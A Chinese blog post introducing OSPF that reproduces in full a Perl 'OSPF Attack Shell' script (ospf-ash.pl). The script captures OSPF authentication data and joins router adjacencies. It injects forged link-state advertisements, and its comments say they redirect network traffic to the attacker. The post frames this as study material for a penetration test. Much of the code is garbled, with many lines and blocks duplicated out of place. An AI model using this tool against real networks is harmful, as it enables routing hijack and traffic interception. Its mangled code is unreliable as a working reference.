OSPF协议栈的perl 脚本实现!
现代中型或者大型规模企业应用比较多的是OSPF协议,当然如果都采用CISCO设备,我会更推荐EIGRP协议,因为快速的收敛特性!
OSPF协议非常复杂,其RFC2328就有1万多行!OSPF协议也相对很难理解。
本篇文章就通过一个老外写的OSPF perl脚本来分析一下部分的OSPF协议栈功能。并针对这个脚本做改变实现一个***测试。
如下就是OSPF perl脚本代码:
#!/usr/bin/perl
#
# $Id: ospf-ash.pl,v 1.9 2007/03/13 18:28:26 gomor Exp $
#
package Net::Attack::OSPF;
use strict;
use warnings;
#
# $Id: ospf-ash.pl,v 1.9 2007/03/13 18:28:26 gomor Exp $
#
package Net::Attack::OSPF;
use strict;
use warnings;
our $VERSION = '0.16';
use Net::Frame::Device;
use Net::Frame::Dump::Online;
use Net::Frame::Dump::Online;
use Net::Frame::Simple;
use Net::Write::Layer2;
use Net::Write::Layer2;
use Net::Frame::Layer qw(:subs);
use Net::Frame::Layer::ETH qw(:consts);
use Net::Frame::Layer::ARP qw(:consts);
use Net::Frame::Layer::IPv4 qw(:consts);
use Net::Frame::Layer::OSPF qw(:consts);
use Net::Frame::Layer::OSPF::Hello;
use Net::Frame::Layer::OSPF::DatabaseDesc;
use Net::Frame::Layer::OSPF::Lsa;
use Net::Frame::Layer::ETH qw(:consts);
use Net::Frame::Layer::ARP qw(:consts);
use Net::Frame::Layer::IPv4 qw(:consts);
use Net::Frame::Layer::OSPF qw(:consts);
use Net::Frame::Layer::OSPF::Hello;
use Net::Frame::Layer::OSPF::DatabaseDesc;
use Net::Frame::Layer::OSPF::Lsa;
use Data::Dumper;
use Term::ReadLine;
use Time::HiRes qw(gettimeofday);
use Term::ReadLine;
use Time::HiRes qw(gettimeofday);
our $oDevice;
our $oWrite;
our $oWrite;
# To store OSPF parameters (areaId, ...)
our $Env = {
routerPri => 1,
lsAge => 200,
areaId => undef,
networkMask => undef,
dr => undef,
bdr => undef,
neighborList => [],
_neighbors => [],
state => 'start',
};
our $Env = {
routerPri => 1,
lsAge => 200,
areaId => undef,
networkMask => undef,
dr => undef,
bdr => undef,
neighborList => [],
_neighbors => [],
state => 'start',
};
# Will store ARP cache table
our $Mac = {};
our $Mac = {};
sub init {
my ($dev, $src, $mac) = @_;
my ($dev, $src, $mac) = @_;
if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) }
else { $oDevice = Net::Frame::Device->new }
$oDevice->ip($src) if $src;
$oDevice->mac($mac) if $mac;
else { $oDevice = Net::Frame::Device->new }
$oDevice->ip($src) if $src;
$oDevice->mac($mac) if $mac;
print "\n -- OSPF Attack Shell - $VERSION --\n\n";
print "Using device : ".$oDevice->dev."\n";
print "Using source IP : ".$oDevice->ip. "\n";
print "Using source MAC: ".$oDevice->mac."\n";
print "Using device : ".$oDevice->dev."\n";
print "Using source IP : ".$oDevice->ip. "\n";
print "Using source MAC: ".$oDevice->mac."\n";
$oWrite = Net::Write::Layer2->new(dev => $oDevice->dev);
$oWrite->open;
}
$oWrite->open;
}
sub help {
print
"You can use the following functions:\n".
" listen() wait for an OSPF Hello frame, get various variables\n".
" exchange() become an OSPF neighbor with all available routers\n".
" lock() keep regularly sending Hello frames\n".
" lsu_router(NETWORK,MASK) inject a LSA Router\n".
"";
}
"You can use the following functions:\n".
" listen() wait for an OSPF Hello frame, get various variables\n".
" exchange() become an OSPF neighbor with all available routers\n".
" lock() keep regularly sending Hello frames\n".
" lsu_router(NETWORK,MASK) inject a LSA Router\n".
"";
}
sub _dumpCallListen {
my ($h, $data) = @_;
my $f = Net::Frame::Simple->newFromDump($h);
if ($f->ref->{'OSPF'}) {
my $packet = $f->ref->{'OSPF'}->packet;
if ($packet->layer eq 'OSPF::Hello') {
my $dr = $packet->designatedRouter
if $packet->designatedRouter;
my $bdr = $packet->backupDesignatedRouter
if $packet->backupDesignatedRouter;
my @nl;
for ($packet->neighborList) {
push @nl, $_ unless /^0.0.0.0$/;
}
my ($h, $data) = @_;
my $f = Net::Frame::Simple->newFromDump($h);
if ($f->ref->{'OSPF'}) {
my $packet = $f->ref->{'OSPF'}->packet;
if ($packet->layer eq 'OSPF::Hello') {
my $dr = $packet->designatedRouter
if $packet->designatedRouter;
my $bdr = $packet->backupDesignatedRouter
if $packet->backupDesignatedRouter;
my @nl;
for ($packet->neighborList) {
push @nl, $_ unless /^0.0.0.0$/;
}
# If there is only a DR, we add it to neighborList
if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl, $dr; }
if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl, $dr; }
print "Hello from: ".$f->ref->{'IPv4'}->src."\n";
print "Found: DR : $dr\n" if $dr;
print "Found: BDR: $bdr\n" if $bdr;
print "Found: neighborList: @nl\n" if @nl;
$Env->{dr} = $dr if $dr;
$Env->{bdr} = $bdr if $bdr;
$Env->{neighborList} = \@nl if @nl;
$Env->{helloInterval} = $packet->helloInterval
if $packet->helloInterval;
$Env->{routerDeadInterval} = $packet->routerDeadInterval
if $packet->routerDeadInterval;
$Env->{networkMask} = $packet->networkMask
if $packet->networkMask;
$Env->{areaId} = $f->ref->{'OSPF'}->areaId
if $f->ref->{'OSPF'}->areaId;
print "Found: DR : $dr\n" if $dr;
print "Found: BDR: $bdr\n" if $bdr;
print "Found: neighborList: @nl\n" if @nl;
$Env->{dr} = $dr if $dr;
$Env->{bdr} = $bdr if $bdr;
$Env->{neighborList} = \@nl if @nl;
$Env->{helloInterval} = $packet->helloInterval
if $packet->helloInterval;
$Env->{routerDeadInterval} = $packet->routerDeadInterval
if $packet->routerDeadInterval;
$Env->{networkMask} = $packet->networkMask
if $packet->networkMask;
$Env->{areaId} = $f->ref->{'OSPF'}->areaId
if $f->ref->{'OSPF'}->areaId;
$Env->{authType} = $f->ref->{'OSPF'}->authType
if $f->ref->{'OSPF'}->authType;
$Env->{authData} = $f->ref->{'OSPF'}->authData
if $f->ref->{'OSPF'}->authData;
if $f->ref->{'OSPF'}->authType;
$Env->{authData} = $f->ref->{'OSPF'}->authData
if $f->ref->{'OSPF'}->authData;
printf "AuthType: 0x%02d\n", $Env->{authType}
if $Env->{authType};
printf "AuthData: %s\n", $Env->{authData}
if $Env->{authData};
if $Env->{authType};
printf "AuthData: %s\n", $Env->{authData}
if $Env->{authData};
$data->stop;
}
}
}
}
}
}
sub _updateNeighbors {
my %neighbor;
$neighbor{$Env->{dr}} = '' if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/);
$neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);
for (@{$Env->{neighborList}}) {
#next if /^0.0.0.0$/;
#next if /^@{[$oDevice->ip]}$/ ;
$neighbor{$_} = '';
}
for (keys %neighbor) {
delete $neighbor{$_} if (/^0.0.0.0$/ || /^@{[$oDevice->ip]}$/ );
}
$Env->{_neighbors} = [ keys %neighbor ];
}
my %neighbor;
$neighbor{$Env->{dr}} = '' if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/);
$neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);
for (@{$Env->{neighborList}}) {
#next if /^0.0.0.0$/;
#next if /^@{[$oDevice->ip]}$/ ;
$neighbor{$_} = '';
}
for (keys %neighbor) {
delete $neighbor{$_} if (/^0.0.0.0$/ || /^@{[$oDevice->ip]}$/ );
}
$Env->{_neighbors} = [ keys %neighbor ];
}
sub listen {
# Flush $Env vars
$Env->{dr} = undef;
$Env->{bdr} = undef;
$Env->{neighborList} = [];
$Env->{authType} = undef;
$Env->{authData} = undef;
# Flush $Env vars
$Env->{dr} = undef;
$Env->{bdr} = undef;
$Env->{neighborList} = [];
$Env->{authType} = undef;
$Env->{authData} = undef;
my $oDump = Net::Frame::Dump::Online->new(
dev => $oDevice->dev,
overwrite => 1,
promisc => 1,
);
$oDump->filter('dst host 224.0.0.5 and ip proto 0x59');
$oDump->onRecv(\&_dumpCallListen);
$oDump->onRecvData($oDump);
$oDump->start;
dev => $oDevice->dev,
overwrite => 1,
promisc => 1,
);
$oDump->filter('dst host 224.0.0.5 and ip proto 0x59');
$oDump->onRecv(\&_dumpCallListen);
$oDump->onRecvData($oDump);
$oDump->start;
if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) {
$Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});
}
if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {
$Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});
}
$Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});
}
if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {
$Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});
}
_updateNeighbors();
}
}
sub _ospfSend1 {
my ($f) = @_;
$f->send($oWrite);
}
my ($f) = @_;
$f->send($oWrite);
}
sub _ospfSend {
my ($f, $oDump, $recvFrom) = @_;
my $recv;
for (1..2) { # Two retries
$f->send($oWrite);
until ($oDump->timeout) {
if ($recv = $f->recv($oDump)) {
my $dst = $f->ref->{'IPv4'}->dst;
my $src = $recv->ref->{'IPv4'}->src;
if ($recvFrom && ($src eq $recvFrom)) {
last;
}
elsif ($dst eq '224.0.0.5' || $dst eq $src) {
last;
}
$recv = undef;
}
}
$oDump->timeoutReset;
last if $recv;
}
$recv;
}
my ($f, $oDump, $recvFrom) = @_;
my $recv;
for (1..2) { # Two retries
$f->send($oWrite);
until ($oDump->timeout) {
if ($recv = $f->recv($oDump)) {
my $dst = $f->ref->{'IPv4'}->dst;
my $src = $recv->ref->{'IPv4'}->src;
if ($recvFrom && ($src eq $recvFrom)) {
last;
}
elsif ($dst eq '224.0.0.5' || $dst eq $src) {
last;
}
$recv = undef;
}
}
$oDump->timeoutReset;
last if $recv;
}
$recv;
}
sub _getEthHdr {
my ($dst) = @_;
my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;
Net::Frame::Layer::ETH->new(
src => $oDevice->mac,
dst => $mac || NF_ETH_ADDR_BROADCAST,
);
}
my ($dst) = @_;
my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;
Net::Frame::Layer::ETH->new(
src => $oDevice->mac,
dst => $mac || NF_ETH_ADDR_BROADCAST,
);
}
sub _getIpHdr {
my ($src, $dst) = @_;
Net::Frame::Layer::IPv4->new(
noFixLen => 1,
ttl => 1,
src => $src,
dst => $dst || '224.0.0.5',
protocol => NF_IPv4_PROTOCOL_OSPF,
);
}
my ($src, $dst) = @_;
Net::Frame::Layer::IPv4->new(
noFixLen => 1,
ttl => 1,
src => $src,
dst => $dst || '224.0.0.5',
protocol => NF_IPv4_PROTOCOL_OSPF,
);
}
sub _getOspfHello {
my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);
my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);
my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_HELLO,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
type => NF_OSPF_TYPE_HELLO,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
my $ospfHello = Net::Frame::Layer::OSPF::Hello->new(
networkMask => $Env->{networkMask},
helloInterval => $Env->{helloInterval},
options => NF_OSPF_HELLO_OPTIONS_E,
routerPri => $Env->{routerPri},
routerDeadInterval => $Env->{routerDeadInterval},
designatedRouter => $Env->{dr},
backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',
neighborList => $Env->{neighborList},
);
$ospf->packet($ospfHello);
$ospf->computeLengths;
$ospf->computeChecksums;
networkMask => $Env->{networkMask},
helloInterval => $Env->{helloInterval},
options => NF_OSPF_HELLO_OPTIONS_E,
routerPri => $Env->{routerPri},
routerDeadInterval => $Env->{routerDeadInterval},
designatedRouter => $Env->{dr},
backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',
neighborList => $Env->{neighborList},
);
$ospf->packet($ospfHello);
$ospf->computeLengths;
$ospf->computeChecksums;
$ip->length($ip->length + $ospf->length);
Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}
}
sub _getOspfDbd {
my ($router, $flags, $seqnum, $lsa) = @_;
my ($router, $flags, $seqnum, $lsa) = @_;
my $eth = _getEthHdr($router);
my $ip = _getIpHdr($oDevice->ip, $router);
my $ip = _getIpHdr($oDevice->ip, $router);
my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_DATABASEDESC,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
type => NF_OSPF_TYPE_DATABASEDESC,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
my $ospfDbd = Net::Frame::Layer::OSPF::DatabaseDesc->new(
ddSequenceNumber => $seqnum || 4300,
options =>
NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,
flags => $flags ||
(NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |
NF_OSPF_DATABASEDESC_FLAGS_MS),
);
$ospf->packet($ospfDbd);
$ospf->computeLengths;
$ospf->computeChecksums;
ddSequenceNumber => $seqnum || 4300,
options =>
NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,
flags => $flags ||
(NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |
NF_OSPF_DATABASEDESC_FLAGS_MS),
);
$ospf->packet($ospfDbd);
$ospf->computeLengths;
$ospf->computeChecksums;
$ip->length($ip->length + $ospf->length);
$ospf->packet->lsaList([ $lsa ]) if $lsa;
Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}
}
sub _getLsaRouterHeader {
Net::Frame::Layer::OSPF::Lsa->new(
lsAge => 92,
options => 0x02,
lsType => 0x01,
linkStateId => $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => 1,
);
}
Net::Frame::Layer::OSPF::Lsa->new(
lsAge => 92,
options => 0x02,
lsType => 0x01,
linkStateId => $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => 1,
);
}
sub exchange {
my ($router) = @_;
my ($router) = @_;
my $oDump = Net::Frame::Dump::Online->new(
dev => $oDevice->dev,
overwrite => 1,
promisc => 1,
timeoutOnNext => 2,
);
$oDump->filter('ip proto 0x59');
$oDump->start;
dev => $oDevice->dev,
overwrite => 1,
promisc => 1,
timeoutOnNext => 2,
);
$oDump->filter('ip proto 0x59');
$oDump->start;
my $ospfHelloReply = _ospfSend(_getOspfHello(), $oDump, $router);
die("No router listens") unless $ospfHelloReply;
# We are in ExStart state
# We are in ExStart state
for (@{$Env->{_neighbors}}) {
next if /^0.0.0.0$/;
next if /^0.0.0.0$/;
# Then, DR sends DBD, we reply the same DBD
my $ospfDbd = _getOspfDbd($_);
my $ospfDbdReply = _ospfSend($ospfDbd, $oDump);
my $ospfDbd = _getOspfDbd($_);
my $ospfDbdReply = _ospfSend($ospfDbd, $oDump);
if (! $ospfDbdReply) {
warn("$_: No DBD reply");
next;
}
# We are in Exchange state
warn("$_: No DBD reply");
next;
}
# We are in Exchange state
# Now is Exchange state, we reply with received ddSeqNum + 1, flags M|MS,
# and our Router-LSA header
my $seqnum = $ospfDbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
my $flags = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;
my $lsaRouter = _getLsaRouterHeader();
my $ospfDbd2 = _getOspfDbd($_, $flags, $seqnum, $lsaRouter);
my $ospfDbd2Reply = _ospfSend($ospfDbd2, $oDump);
# and our Router-LSA header
my $seqnum = $ospfDbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
my $flags = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;
my $lsaRouter = _getLsaRouterHeader();
my $ospfDbd2 = _getOspfDbd($_, $flags, $seqnum, $lsaRouter);
my $ospfDbd2Reply = _ospfSend($ospfDbd2, $oDump);
if (! $ospfDbd2Reply) {
warn("$_: No DBD2 reply");
next;
}
warn("$_: No DBD2 reply");
next;
}
# Last step before LS exchange, we reply to the "empty" request with
# ddSeqNum +1, flags MS only
$seqnum = $ospfDbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
$flags = NF_OSPF_DATABASEDESC_FLAGS_MS;
my $ospfDbd3 = _getOspfDbd($_, $flags, $seqnum);
my $ospfDbd3Reply = _ospfSend($ospfDbd3, $oDump);
# ddSeqNum +1, flags MS only
$seqnum = $ospfDbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
$flags = NF_OSPF_DATABASEDESC_FLAGS_MS;
my $ospfDbd3 = _getOspfDbd($_, $flags, $seqnum);
my $ospfDbd3Reply = _ospfSend($ospfDbd3, $oDump);
if (! $ospfDbd3Reply) {
warn("$_: No DBD3 reply");
next;
}
warn("$_: No DBD3 reply");
next;
}
print "$_: exchange complete\n";
}
}
# If there were no BDR, we are the new one
if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {
$Env->{bdr} = $oDevice->ip;
}
if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {
$Env->{bdr} = $oDevice->ip;
}
_updateNeighbors();
$Env->{neighborList} = [ @{$Env->{_neighbors}} ];
push @{$Env->{neighborList}}, $oDevice->ip;
$Env->{neighborList} = [ @{$Env->{_neighbors}} ];
push @{$Env->{neighborList}}, $oDevice->ip;
$oDump->stop;
}
}
sub _getLsuNetwork {
my ($linkStateId, $router, $netmask) = @_;
my ($linkStateId, $router, $netmask) = @_;
my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);
my $ip = _getIpHdr($oDevice->ip);
my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_LINKSTATEUPDATE,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
type => NF_OSPF_TYPE_LINKSTATEUPDATE,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
lsAge => $Env->{lsAge},
options => 0x02,
lsType => 0x02,
linkStateId => $linkStateId || $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => getRandom32bitsInt(),
);
lsAge => $Env->{lsAge},
options => 0x02,
lsType => 0x02,
linkStateId => $linkStateId || $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => getRandom32bitsInt(),
);
my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new(
netmask => $netmask,
routerList => [ $router, ],
);
netmask => $netmask,
routerList => [ $router, ],
);
$lsa->lsa($lsaNetwork);
$lsa->computeLengths;
$lsa->computeChecksums;
$lsa->computeLengths;
$lsa->computeChecksums;
my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
lsaNumber => 1,
lsaList => [ $lsa ],
);
lsaNumber => 1,
lsaList => [ $lsa ],
);
$ospf->packet($ospfLsu);
$ospf->computeLengths;
$ospf->computeChecksums;
$ospf->computeLengths;
$ospf->computeChecksums;
$ip->length($ip->length + $ospf->length);
Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}
}
sub _getLsuRouter {
my ($network, $mask) = @_;
my ($network, $mask) = @_;
my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);
my $ip = _getIpHdr($oDevice->ip);
my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_LINKSTATEUPDATE,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
type => NF_OSPF_TYPE_LINKSTATEUPDATE,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
lsAge => $Env->{lsAge},
options => 0x22,
lsType => 0x01,
linkStateId => $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => getRandom32bitsInt(),
);
lsAge => $Env->{lsAge},
options => 0x22,
lsType => 0x01,
linkStateId => $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => getRandom32bitsInt(),
);
my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new(
flags => 0,
);
flags => 0,
);
# To correctly send a router, we must first advertise the network/mask
# In a stub network (type 0x03)
my @linkList = ();
push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
linkId => $network,
linkData => $mask,
type => 0x03,
nTos => 0,
metric => 10,
);
# In a stub network (type 0x03)
my @linkList = ();
push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
linkId => $network,
linkData => $mask,
type => 0x03,
nTos => 0,
metric => 10,
);
# Then, we MUST say which is the gateway, to the DR
# Here, we say the gateway is our IP address to redirect
# trafic to us.
push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
linkId => $Env->{dr},
linkData => $oDevice->ip,
type => 0x02,
nTos => 0,
metric => 10,
);
# Here, we say the gateway is our IP address to redirect
# trafic to us.
push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
linkId => $Env->{dr},
linkData => $oDevice->ip,
type => 0x02,
nTos => 0,
metric => 10,
);
$lsaRouter->nLink(scalar @linkList);
$lsaRouter->linkList(\@linkList);
$lsaRouter->linkList(\@linkList);
$lsa->lsa($lsaRouter);
$lsa->computeLengths;
$lsa->computeChecksums;
$lsa->computeLengths;
$lsa->computeChecksums;
my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
lsaNumber => 1,
lsaList => [ $lsa ],
);
lsaNumber => 1,
lsaList => [ $lsa ],
);
$ospf->packet($ospfLsu);
$ospf->computeLengths;
$ospf->computeChecksums;
$ospf->computeLengths;
$ospf->computeChecksums;
$ip->length($ip->length + $ospf->length);
Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}
}
sub lsu_network {
my ($linkStateId, $router, $netmask) = @_;
my ($linkStateId, $router, $netmask) = @_;
my $lsu = _getLsuNetwork($linkStateId, $router, $netmask);
_ospfSend1($lsu);
}
_ospfSend1($lsu);
}
sub lsu_router {
my ($network, $mask) = @_;
my ($network, $mask) = @_;
my $lsu = _getLsuRouter($network, $mask);
_ospfSend1($lsu);
}
_ospfSend1($lsu);
}
sub _getLsaAck {
my ($request) = @_;
my ($request) = @_;
my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);
my $ip = _getIpHdr($oDevice->ip);
my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_LINKSTATEACK,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
type => NF_OSPF_TYPE_LINKSTATEACK,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
authType => $Env->{authType},
authData => $Env->{authData},
);
my $raw = '';
for ($request->lsaList) {
$_->lsa(undef);
$raw .= $_->pack;
}
for ($request->lsaList) {
$_->lsa(undef);
$raw .= $_->pack;
}
$ospf->packet($raw);
$ospf->computeLengths;
$ospf->computeChecksums;
$ospf->computeLengths;
$ospf->computeChecksums;
$ip->length($ip->length + $ospf->length);
Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}
}
sub _dumpCallOnRecv {
my ($h, $data) = @_;
my $frame = Net::Frame::Simple->newFromDump($h);
if ($frame->ref->{'OSPF'}) {
my $packet = $frame->ref->{'OSPF'}->packet;
if ($packet) {
# If a LSU frame is seen, we must acknowledge it
if ($packet->layer eq 'OSPF::LinkStateUpdate') {
_ospfSend1(_getLsaAck($packet));
}
# If a Hello frame is seen, we send one, to keep behing in neighborhood
elsif ($packet->layer eq 'OSPF::Hello') {
_ospfSend1(_getOspfHello());
}
}
}
}
my ($h, $data) = @_;
my $frame = Net::Frame::Simple->newFromDump($h);
if ($frame->ref->{'OSPF'}) {
my $packet = $frame->ref->{'OSPF'}->packet;
if ($packet) {
# If a LSU frame is seen, we must acknowledge it
if ($packet->layer eq 'OSPF::LinkStateUpdate') {
_ospfSend1(_getLsaAck($packet));
}
# If a Hello frame is seen, we send one, to keep behing in neighborhood
elsif ($packet->layer eq 'OSPF::Hello') {
_ospfSend1(_getOspfHello());
}
}
}
}
sub lock {
my $pid = fork();
die("fork: $!") unless defined($pid);
if ($pid) { # Parent process
return 1;
}
else { # Child process
close(STDIN);
close(STDOUT);
close(STDERR);
my $oDumpChild = Net::Frame::Dump::Online->new(
overwrite => 1,
promisc => 1,
dev => $oDevice->dev,
filter => 'ip proto 0x59 '.
'and not src host '.$oDevice->ip,
onRecv => \&_dumpCallOnRecv,
);
$oDumpChild->start;
$oDumpChild->stop;
exit(0);
}
}
my $pid = fork();
die("fork: $!") unless defined($pid);
if ($pid) { # Parent process
return 1;
}
else { # Child process
close(STDIN);
close(STDOUT);
close(STDERR);
my $oDumpChild = Net::Frame::Dump::Online->new(
overwrite => 1,
promisc => 1,
dev => $oDevice->dev,
filter => 'ip proto 0x59 '.
'and not src host '.$oDevice->ip,
onRecv => \&_dumpCallOnRecv,
);
$oDumpChild->start;
$oDumpChild->stop;
exit(0);
}
}
sub ash {
my ($dev, $src, $mac) = @_;
my ($dev, $src, $mac) = @_;
init($dev, $src, $mac);
my $prompt = 'ash> ';
my $name = 'ASH';
my $term = Term::ReadLine->new($name);
$term->ornaments(0);
my $name = 'ASH';
my $term = Term::ReadLine->new($name);
$term->ornaments(0);
{
no strict;
no strict;
while (1) {
if (my $line = $term->readline($prompt)) {
$line =~ s/^\s*listen\s*$/Net::Attack::OSPF::listen/;
eval($line);
warn($@) if $@;
print "\n";
}
}
}
if (my $line = $term->readline($prompt)) {
$line =~ s/^\s*listen\s*$/Net::Attack::OSPF::listen/;
eval($line);
warn($@) if $@;
print "\n";
}
}
}
print "\n";
}
}
1;
package main;
my $dev = shift;
my $src = shift;
my $mac = shift;
my $src = shift;
my $mac = shift;
Net::Attack::OSPF::ash($dev, $src, $mac);
1;
__END__
=head1 NAME
ospf-ash - Net::Frame based OSPF Attack Shell tool
=head1 AUTHOR
Patrice EGomoRE Auffret
=head1 COPYRIGHT AND LICENSE
Copyright (c) 2007, Patrice EGomoRE Auffret
You may distribute this module under the terms of the Artistic license.
See LICENSE.Artistic file in the source distribution archive.
See LICENSE.Artistic file in the source distribution archive.
=cut
待续。。。